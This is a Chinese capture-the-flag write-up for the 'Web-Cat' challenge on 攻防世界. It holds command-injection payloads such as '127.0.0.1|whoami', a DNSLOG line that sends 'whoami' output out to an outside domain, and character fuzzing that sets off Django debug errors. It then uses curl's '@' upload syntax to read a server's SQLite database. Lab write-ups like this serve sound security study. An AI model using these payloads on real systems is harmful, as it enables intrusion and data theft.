其他分享
首页 > 其他分享> > 攻防世界 | Web-Cat

攻防世界 | Web-Cat

作者:互联网

本题涉及到的知识点有很多:

1.cURL的post文件上传

2.php的curl上传组件

3.python的字符编码

4.django的框架知识

解题步骤

 

先按照它的要求随便输入一个域名:

 

是一个PING操作命令,到这里立马联想到了pikachu靶场,然后构造payload:

127.0.0.1|whoami

网页回显 Invalid URL,应该是对特殊字符做了限制

这里我想到了DNSLOG,

`whoami`.tiexb6.dnslog.cn结果还是行不通的。

 

在进行测试的时候,发现写在输入框的内容会回显到URL地址上,比如:

 

 

可以尝试利用URL编码看看有没有哪些字符没有被过滤,

因为ASCII码的编码范围0-127,总共128个字符,测试起来也不费事

 

(图没截全)

返回的字符长度有四种:

86845:80往后基本都是宽字节了

688:只有%30返回这个,因为%30转义过来是0,它会进行ping0.0.0.0操作

464:0-29,60,100-127,这边都是不合法字符

453:31-79。大多数都是数字字母。除了%40是@

发现从80-99返回的长度一样

 

 

那我们写个%99

 

 

返回一大串HTML代码,先给他复制出来打开

 

 

接触过Django框架的应该一眼就能认出来,这个是Django框架报错返回的页面

根据报错信息应该是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。

 

网上搜了一下,似乎是题目有问题,原题中有关于@字符的用法,这里没有

 

这里提示了Django的绝对路径

需要懂一些django开发的基本知识,我感觉这道题涉及的面有点广了,django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。

读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。

 

 

 

然后再页面源代码中提示了

 

然后用@读取url=@/opt/api/database.sqlite3

回显的还是HTML代码,复制出来打开,或者直接搜索’ctf‘看看

 

 

 

 

 

 

标签:Web,编码,攻防,URL,py,django,字符,Cat,settings
来源: https://www.cnblogs.com/mlxwl/p/16585215.html